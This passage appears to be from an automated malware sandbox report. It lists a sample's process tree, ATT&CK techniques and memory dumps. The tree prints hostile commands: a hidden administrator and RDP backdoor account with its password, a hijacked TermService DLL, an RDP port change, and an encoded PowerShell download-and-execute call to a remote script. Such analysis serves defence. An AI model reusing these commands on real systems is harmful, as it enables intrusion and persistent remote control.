    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2728
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:660

C:\Users\Admin\AppData\Local\Temp\686B.exe
C:\Users\Admin\AppData\Local\Temp\686B.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3528
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3228
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zlrlc2p0\zlrlc2p0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3720
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAD72.tmp" "c:\Users\Admin\AppData\Local\Temp\zlrlc2p0\CSC6311CB3D77FD413EB416FBD644A581CB.TMP"
      4⤵
      PID:3524
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    PID:2632
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    PID:2892
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    PID:3892
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:3144
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:3376
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:4028
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    PID:2020
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1724
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    PID:2924
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net start rdpdr
      4⤵
      PID:3140
    - - C:\Windows\SysWOW64\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1632
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1604
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:704
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:3184
    - - C:\Windows\SysWOW64\net.exe
        
        net start TermService
        5⤵
        
        PID:3944
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3548
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2120
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1996
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3528 -s 740
  2⤵
  - Program crash
  PID:2972

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3720
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1632

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc dhyEpU36 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc dhyEpU36 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1232
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc dhyEpU36 /add
    3⤵
    PID:3672

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:3724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:3964

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
1⤵
PID:1112
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
  2⤵
  PID:1364
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
    3⤵
    PID:2716

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2684
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3756

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc dhyEpU36
1⤵
PID:2636
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc dhyEpU36
  2⤵
  PID:1164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc dhyEpU36
    3⤵
    PID:3744

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1792
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:4000

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1248
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:1900

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3136
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:1584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1412-163-0x000001E5365C0000-0x000001E5365C1000-memory.dmp

Filesize
4KB

Download
memory/1412-136-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-143-0x000001E5365F0000-0x000001E5365F2000-memory.dmp

Filesize
8KB

Download
memory/1412-144-0x000001E5365F3000-0x000001E5365F5000-memory.dmp

Filesize
8KB

Download
memory/1412-133-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-145-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-140-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-134-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-135-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-152-0x000001E5365F6000-0x000001E5365F8000-memory.dmp

Filesize
8KB

Download
memory/1412-141-0x000001E537120000-0x000001E537121000-memory.dmp

Filesize
4KB

Download
memory/1412-137-0x000001E51E470000-0x000001E51E471000-memory.dmp

Filesize
4KB

Download
memory/1412-138-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1412-174-0x000001E5365F8000-0x000001E5365F9000-memory.dmp

Filesize
4KB

Download
memory/1412-175-0x000001E537700000-0x000001E537701000-memory.dmp

Filesize
4KB

Download
memory/1412-176-0x000001E537A90000-0x000001E537A91000-memory.dmp

Filesize
4KB

Download
memory/1412-139-0x000001E51C5A0000-0x000001E51C5A2000-memory.dmp

Filesize
8KB

Download
memory/1516-193-0x000002BBF88F0000-0x000002BBF88F2000-memory.dmp

Filesize
8KB

Download
memory/1516-187-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-188-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-190-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-191-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-192-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-203-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-194-0x000002BBF88F3000-0x000002BBF88F5000-memory.dmp

Filesize
8KB

Download
memory/1516-252-0x000002BBF88F8000-0x000002BBF88FA000-memory.dmp

Filesize
8KB

Download
memory/1516-185-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1516-225-0x000002BBF88F6000-0x000002BBF88F8000-memory.dmp

Filesize
8KB

Download
memory/1516-186-0x000002BBF6B50000-0x000002BBF6B52000-memory.dmp

Filesize
8KB

Download
memory/1584-731-0x0000012B29C43000-0x0000012B29C45000-memory.dmp

Filesize
8KB

Download
memory/1584-730-0x0000012B29C40000-0x0000012B29C42000-memory.dmp

Filesize
8KB

Download
memory/1584-822-0x0000012B29C46000-0x0000012B29C48000-memory.dmp

Filesize
8KB

Download
memory/1584-953-0x0000012B29C48000-0x0000012B29C49000-memory.dmp

Filesize
4KB

Download
memory/2264-327-0x000002955A0A6000-0x000002955A0A8000-memory.dmp

Filesize
8KB

Download
memory/2264-321-0x000002955A0A0000-0x000002955A0A2000-memory.dmp

Filesize
8KB

Download
memory/2264-324-0x000002955A0A3000-0x000002955A0A5000-memory.dmp

Filesize
8KB

Download
memory/2632-381-0x0000000007002000-0x0000000007003000-memory.dmp

Filesize
4KB

Download
memory/2632-403-0x000000007F390000-0x000000007F391000-memory.dmp

Filesize
4KB

Download
memory/2632-380-0x0000000007000000-0x0000000007001000-memory.dmp

Filesize
4KB

Download
memory/2684-319-0x000002CAE3FF8000-0x000002CAE3FFA000-memory.dmp

Filesize
8KB

Download
memory/2684-253-0x000002CAE3FF0000-0x000002CAE3FF2000-memory.dmp

Filesize
8KB

Download
memory/2684-254-0x000002CAE3FF3000-0x000002CAE3FF5000-memory.dmp

Filesize
8KB

Download
memory/2684-282-0x000002CAE3FF6000-0x000002CAE3FF8000-memory.dmp

Filesize
8KB

Download
memory/2700-117-0x0000000000400000-0x0000000002EF4000-memory.dmp

Filesize
43.0MB

Download
memory/2700-116-0x0000000003180000-0x0000000003189000-memory.dmp

Filesize
36KB

Download
memory/2700-115-0x0000000003060000-0x0000000003068000-memory.dmp

Filesize
32KB

Download
memory/2892-709-0x0000000007022000-0x0000000007023000-memory.dmp

Filesize
4KB

Download
memory/2892-708-0x0000000007020000-0x0000000007021000-memory.dmp

Filesize
4KB

Download
memory/2892-734-0x000000007F1B0000-0x000000007F1B1000-memory.dmp

Filesize
4KB

Download
memory/2960-118-0x0000000001330000-0x0000000001346000-memory.dmp

Filesize
88KB

Download
memory/3084-125-0x0000024BDC313000-0x0000024BDC315000-memory.dmp

Filesize
8KB

Download
memory/3084-127-0x0000024BDC316000-0x0000024BDC317000-memory.dmp

Filesize
4KB

Download
memory/3084-122-0x0000024BF4E40000-0x0000024BF523F000-memory.dmp

Filesize
4.0MB

Download
memory/3084-124-0x0000024BDC310000-0x0000024BDC312000-memory.dmp

Filesize
8KB

Download
memory/3084-126-0x0000024BDC315000-0x0000024BDC316000-memory.dmp

Filesize
4KB

Download
memory/3228-206-0x00000000078A0000-0x00000000078A1000-memory.dmp

Filesize
4KB

Download
memory/3228-198-0x0000000000E00000-0x0000000000E01000-memory.dmp

Filesize
4KB

Download
memory/3228-200-0x0000000007180000-0x0000000007181000-memory.dmp

Filesize
4KB

Download
memory/3228-201-0x0000000000E90000-0x0000000000E91000-memory.dmp

Filesize
4KB

Download
memory/3228-202-0x0000000000E92000-0x0000000000E93000-memory.dmp

Filesize
4KB

Download
memory/3228-1518-0x000000007EEC0000-0x000000007EEC1000-memory.dmp

Filesize
4KB

Download
memory/3228-208-0x0000000007B60000-0x0000000007B61000-memory.dmp

Filesize
4KB

Download
memory/3228-345-0x0000000000E93000-0x0000000000E94000-memory.dmp

Filesize
4KB

Download
memory/3228-197-0x0000000000E00000-0x0000000000E01000-memory.dmp

Filesize
4KB

Download
memory/3228-199-0x0000000006B10000-0x0000000006B11000-memory.dmp

Filesize
4KB

Download
memory/3228-205-0x0000000007A50000-0x0000000007A51000-memory.dmp

Filesize
4KB

Download
memory/3528-161-0x0000000008660000-0x0000000008661000-memory.dmp

Filesize
4KB

Download
memory/3528-154-0x0000000000400000-0x0000000002FA5000-memory.dmp

Filesize
43.6MB

Download
memory/3528-151-0x00000000050B0000-0x00000000054B2000-memory.dmp

Filesize
4.0MB

Download
memory/3528-164-0x0000000007E42000-0x0000000007E43000-memory.dmp

Filesize
4KB

Download
memory/3528-166-0x0000000007D80000-0x0000000007D81000-memory.dmp

Filesize
4KB

Download
memory/3528-168-0x0000000008C60000-0x0000000008C61000-memory.dmp

Filesize
4KB

Download
memory/3528-155-0x0000000007E40000-0x0000000007E41000-memory.dmp

Filesize
4KB

Download
memory/3528-177-0x000000000A520000-0x000000000A521000-memory.dmp

Filesize
4KB

Download
memory/3528-132-0x0000000004C9D000-0x00000000050A3000-memory.dmp

Filesize
4.0MB

Download
memory/3528-156-0x0000000008260000-0x000000000865F000-memory.dmp

Filesize
4.0MB

Download
memory/3528-165-0x0000000007E43000-0x0000000007E44000-memory.dmp

Filesize
4KB

Download
memory/3528-173-0x0000000007E44000-0x0000000007E45000-memory.dmp

Filesize
4KB

Download
memory/3892-1029-0x00000000047B0000-0x00000000047B1000-memory.dmp

Filesize
4KB

Download
memory/3892-1030-0x00000000047B2000-0x00000000047B3000-memory.dmp

Filesize
4KB

Download
memory/3892-1065-0x000000007E2E0000-0x000000007E2E1000-memory.dmp

Filesize
4KB

Download